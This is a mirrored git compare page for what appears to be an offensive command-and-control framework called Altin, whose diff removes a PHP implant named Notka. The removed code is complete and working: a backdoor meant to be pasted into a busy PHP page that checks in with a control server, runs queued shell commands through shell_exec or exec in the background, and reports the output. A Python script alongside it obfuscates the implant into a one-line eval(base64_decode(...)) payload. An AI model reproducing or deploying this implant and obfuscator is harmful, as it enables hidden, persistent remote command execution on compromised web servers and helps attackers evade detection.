mirror of
https://github.com/ConnorGadbois/altin.git
synced 2026-10-21 20:46:17 -05:00
Compare commits
No commits in common. "3311f226296de65bc600e4205ae08369d21aa1fd" and "381560d782c1821e81324f2d8a21a9c41f47c7fd" have entirely different histories.
3311f22629
...
381560d782
@ -30,5 +30,4 @@ python3 -m http.server # Starts a webserver on port 8000
|
||||
|Implant|Description|Language|OS|
|
||||
|---|---|---|---|
|
||||
|`Tombili`|Competition focused implant with general purpose functionality|Nim|Windows, Linux|
|
||||
|`Midas`|Windows trolling utilities|Rust|Windows
|
||||
|`Notka`|PHP implant for running shell commands|PHP|Cross platform|
|
||||
|`Midas`|Windows trolling utilities|Rust|Windows
|
||||
@ -1,17 +0,0 @@
|
||||
# Notka
|
||||
|
||||
A minimal PHP implant meant to be dropeed into a high traffic PHP page. Requesting the page registeres the implant with Altin and runs all commands queued.
|
||||
|
||||
## Config
|
||||
Set the `$server` and `$key` in `notka.php`
|
||||
|
||||
## Obfuscate
|
||||
The payload can be obfuscated by running the `obfuscate.py` script, it will output the obfuscated version to `payload.php`.
|
||||
|
||||
## Deployment
|
||||
The contents of `payload.php` can the be pasted into any PHP page.
|
||||
|
||||
## Commands
|
||||
|Command|Description|Arguments|
|
||||
|---|---|---|
|
||||
|`shell`|Run a command|command: str|
|
||||
@ -1,194 +0,0 @@
|
||||
// Config
|
||||
$server = 'http://127.0.0.1:3000';
|
||||
$key = 'asdf';
|
||||
|
||||
// Protocol
|
||||
define('ACTION_CHECKIN', 1);
|
||||
define('ACTION_REGISTER', 2);
|
||||
define('ACTION_TASK_RESULT', 3);
|
||||
|
||||
define('STATUS_ERROR', 0);
|
||||
define('STATUS_CONTINUE', 1);
|
||||
define('STATUS_TASKS', 2);
|
||||
define('STATUS_REGISTER', 3);
|
||||
define('STATUS_INVALID', 4);
|
||||
|
||||
function xor_msg($string, $key) {
|
||||
$result = '';
|
||||
$key_len = strlen($key);
|
||||
for ($i = 0; $i < strlen($string); $i++) {
|
||||
$result .= $string[$i] ^ $key[$i % $key_len];
|
||||
}
|
||||
return $result;
|
||||
}
|
||||
|
||||
function send_request($server, $key, $data) {
|
||||
$context = stream_context_create([
|
||||
'http' => [
|
||||
'method' => 'POST',
|
||||
'header' => "Content-Type: application/json\r\n",
|
||||
'content' => xor_msg(json_encode($data), $key),
|
||||
'timeout' => 10,
|
||||
'ignore_errors' => true,
|
||||
],
|
||||
]);
|
||||
|
||||
$response = @file_get_contents($server, false, $context);
|
||||
|
||||
if ($response === false || $response === '') {
|
||||
return(null);
|
||||
}
|
||||
|
||||
$decoded = json_decode(xor_msg($response, $key), true);
|
||||
|
||||
if (!is_array($decoded)) {
|
||||
return(null);
|
||||
}
|
||||
|
||||
return($decoded);
|
||||
}
|
||||
|
||||
function build_commands() {
|
||||
return([
|
||||
[
|
||||
'command' => 'shell',
|
||||
'description' => 'Run a shell command on the system',
|
||||
'args' => [
|
||||
[
|
||||
'name' => 'command',
|
||||
'arg_type' => 'str',
|
||||
'description' => 'The command to run',
|
||||
'required' => true
|
||||
]
|
||||
]
|
||||
]
|
||||
]);
|
||||
}
|
||||
|
||||
function send_registration($server, $key) {
|
||||
$data = [
|
||||
'implant_id' => 'notka',
|
||||
'ip' => getHostByName(getHostName()),
|
||||
'action' => ACTION_REGISTER,
|
||||
'registration' => [
|
||||
'os' => php_uname('s'),
|
||||
'commands' => build_commands()
|
||||
]
|
||||
];
|
||||
|
||||
$response = send_request($server, $key, $data);
|
||||
|
||||
if ($response === null || !isset($response['status'])) {
|
||||
return(STATUS_ERROR);
|
||||
}
|
||||
|
||||
return($response['status']);
|
||||
}
|
||||
|
||||
function do_checkin($server, $key) {
|
||||
$data = [
|
||||
'implant_id' => 'notka',
|
||||
'ip' => getHostByName(getHostName()),
|
||||
'action' => ACTION_CHECKIN
|
||||
];
|
||||
|
||||
return(send_request($server, $key, $data));
|
||||
}
|
||||
|
||||
function report_task_result($server, $key, $task_id, $result) {
|
||||
$data = [
|
||||
'implant_id' => 'notka',
|
||||
'ip' => getHostByName(getHostName()),
|
||||
'action' => ACTION_TASK_RESULT,
|
||||
'result' => [
|
||||
'task_id' => $task_id,
|
||||
'result' => $result
|
||||
]
|
||||
];
|
||||
|
||||
return(send_request($server, $key, $data));
|
||||
}
|
||||
|
||||
function run_shell($command) {
|
||||
if (function_exists('shell_exec')) {
|
||||
$output = @shell_exec($command . ' 2>&1');
|
||||
if ($output !== null) {
|
||||
return($output);
|
||||
}
|
||||
}
|
||||
|
||||
if (function_exists('exec')) {
|
||||
$lines = [];
|
||||
@exec($command . ' 2>&1', $lines);
|
||||
return(implode("\n", $lines));
|
||||
}
|
||||
|
||||
return('Failed to run command');
|
||||
}
|
||||
|
||||
function run_task($task) {
|
||||
if (!isset($task['task']) || !isset($task['args']) || $task['task'] !== 'shell') {
|
||||
return('Unknown command');
|
||||
}
|
||||
|
||||
if (!isset($task['args'][0]) || $task['args'][0] === '') {
|
||||
return('No command provided');
|
||||
}
|
||||
|
||||
return(run_shell($task['args'][0]));
|
||||
}
|
||||
|
||||
function handle_checkin($server, $key, $response) {
|
||||
if ($response === null || !isset($response['status'])) {
|
||||
return;
|
||||
}
|
||||
|
||||
switch ($response['status']) {
|
||||
case STATUS_TASKS:
|
||||
if (!isset($response['tasks']) || !is_array($response['tasks'])) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Run every queued command and report the results
|
||||
foreach ($response['tasks'] as $task) {
|
||||
$result = run_task($task);
|
||||
report_task_result($server, $key, $task['task_id'], $result);
|
||||
}
|
||||
break;
|
||||
|
||||
case STATUS_REGISTER:
|
||||
// Not registered yet, register and check in again
|
||||
send_registration($server, $key);
|
||||
handle_checkin($server, $key, do_checkin($server, $key));
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
function main($server, $key) {
|
||||
// Run in the background: hand the response to the client and keep working
|
||||
ignore_user_abort(true);
|
||||
set_time_limit(0);
|
||||
|
||||
if (function_exists('fastcgi_finish_request')) {
|
||||
fastcgi_finish_request();
|
||||
} else {
|
||||
header('Connection: close');
|
||||
header('Content-Length: 0');
|
||||
while (ob_get_level() > 0) {
|
||||
ob_end_flush();
|
||||
}
|
||||
flush();
|
||||
}
|
||||
|
||||
// Register (idempotent), then do a single checkin callback
|
||||
$status = send_registration($server, $key);
|
||||
|
||||
if ($status === STATUS_CONTINUE) {
|
||||
handle_checkin($server, $key, do_checkin($server, $key));
|
||||
}
|
||||
}
|
||||
|
||||
main($server, $key);
|
||||
@ -1,147 +0,0 @@
|
||||
import re
|
||||
import random
|
||||
import string
|
||||
import base64
|
||||
|
||||
def random_name(length=8):
|
||||
return ''.join(random.choices(string.ascii_letters, k=length))
|
||||
|
||||
def tokenize_php(code):
|
||||
token_pattern = re.compile(
|
||||
r"""
|
||||
("(?:\\.|[^"])*") | # double quoted string
|
||||
('(?:\\.|[^'])*') | # single quoted string
|
||||
(//[^\n]*\n?) | # single-line comment
|
||||
(/\*.*?\*/) | # multi-line comment
|
||||
(\$[a-zA-Z_]\w*) | # variable
|
||||
([a-zA-Z_]\w*) | # identifier
|
||||
(\s+) | # whitespace
|
||||
(.) # everything else
|
||||
""",
|
||||
re.VERBOSE | re.DOTALL
|
||||
)
|
||||
|
||||
tokens = []
|
||||
for match in token_pattern.finditer(code):
|
||||
tokens.append(match.group(0))
|
||||
return tokens
|
||||
|
||||
|
||||
def obfuscate_php(code: str, wrap_eval=False, one_liner=False) -> str:
|
||||
tokens = tokenize_php(code)
|
||||
|
||||
var_map = {}
|
||||
func_map = {}
|
||||
superglobals = {
|
||||
"$_GET", "$_POST", "$_REQUEST", "$_SERVER",
|
||||
"$_SESSION", "$_COOKIE", "$_FILES", "$_ENV", "$GLOBALS"
|
||||
}
|
||||
|
||||
output = []
|
||||
next_is_function_name = False
|
||||
i = 0
|
||||
|
||||
while i < len(tokens):
|
||||
token = tokens[i]
|
||||
|
||||
# Preserve strings and comments
|
||||
if token.startswith(("'", '"', "//", "/*")):
|
||||
output.append(token)
|
||||
i += 1
|
||||
continue
|
||||
|
||||
# Detect function keyword
|
||||
if token == "function":
|
||||
next_is_function_name = True
|
||||
output.append(token)
|
||||
i += 1
|
||||
continue
|
||||
|
||||
# Rename function declaration
|
||||
if next_is_function_name and re.match(r'[a-zA-Z_]\w*', token):
|
||||
if token not in func_map:
|
||||
func_map[token] = random_name()
|
||||
output.append(func_map[token])
|
||||
next_is_function_name = False
|
||||
i += 1
|
||||
continue
|
||||
|
||||
# Handle variables
|
||||
if re.match(r'\$[a-zA-Z_]\w*', token):
|
||||
|
||||
original_var = token
|
||||
|
||||
if original_var in superglobals:
|
||||
output.append(original_var)
|
||||
i += 1
|
||||
continue
|
||||
|
||||
if original_var not in var_map:
|
||||
var_map[original_var] = "$" + random_name()
|
||||
|
||||
new_var = var_map[original_var]
|
||||
|
||||
# Detect assignment to string literal
|
||||
j = i + 1
|
||||
while j < len(tokens) and tokens[j].isspace():
|
||||
j += 1
|
||||
|
||||
if j < len(tokens) and tokens[j] == "=":
|
||||
k = j + 1
|
||||
while k < len(tokens) and tokens[k].isspace():
|
||||
k += 1
|
||||
|
||||
if (
|
||||
k < len(tokens)
|
||||
and (tokens[k].startswith('"') or tokens[k].startswith("'"))
|
||||
):
|
||||
string_literal = tokens[k]
|
||||
unquoted = string_literal[1:-1]
|
||||
encoded = base64.b64encode(unquoted.encode()).decode()
|
||||
|
||||
output.append(new_var)
|
||||
output.append("=")
|
||||
output.append(f'base64_decode("{encoded}")')
|
||||
|
||||
i = k + 1
|
||||
continue
|
||||
|
||||
output.append(new_var)
|
||||
i += 1
|
||||
continue
|
||||
|
||||
# Rename function calls
|
||||
if token in func_map:
|
||||
output.append(func_map[token])
|
||||
i += 1
|
||||
continue
|
||||
|
||||
output.append(token)
|
||||
i += 1
|
||||
|
||||
result = ''.join(output)
|
||||
|
||||
# -------- MAKE ONE LINER --------
|
||||
if one_liner:
|
||||
# Collapse all whitespace to single spaces
|
||||
result = re.sub(r'\s+', ' ', result)
|
||||
|
||||
# Remove spaces around common operators/punctuation
|
||||
result = re.sub(r'\s*([{}();,=+\-*/<>])\s*', r'\1', result)
|
||||
|
||||
result = result.strip()
|
||||
|
||||
# Optional full script base64 wrap
|
||||
if wrap_eval:
|
||||
encoded = base64.b64encode(result.encode()).decode()
|
||||
result = f'eval(base64_decode("{encoded}"));'
|
||||
|
||||
return result
|
||||
|
||||
payload = open('notka.php', 'r')
|
||||
obfuscated_payload = obfuscate_php(payload.read(), True, True)
|
||||
payload.close()
|
||||
|
||||
output = open('payload.php', 'w')
|
||||
output.write(obfuscated_payload)
|
||||
output.close()
|
||||
@ -8,7 +8,7 @@ Change the values in `src/config.nim` as needed.
|
||||
nim c -d:release -d:ssl -o:tombili.bin src/main.nim
|
||||
|
||||
# If compiling for Windows from MacOS or Linux:
|
||||
nim c -d:release -d:mingw -d:ssl -o:tombili.exe src/main.nim
|
||||
nim c -d:release -d:ssl -o:tombili.exe src/main.nim
|
||||
```
|
||||
|
||||
## Commands
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user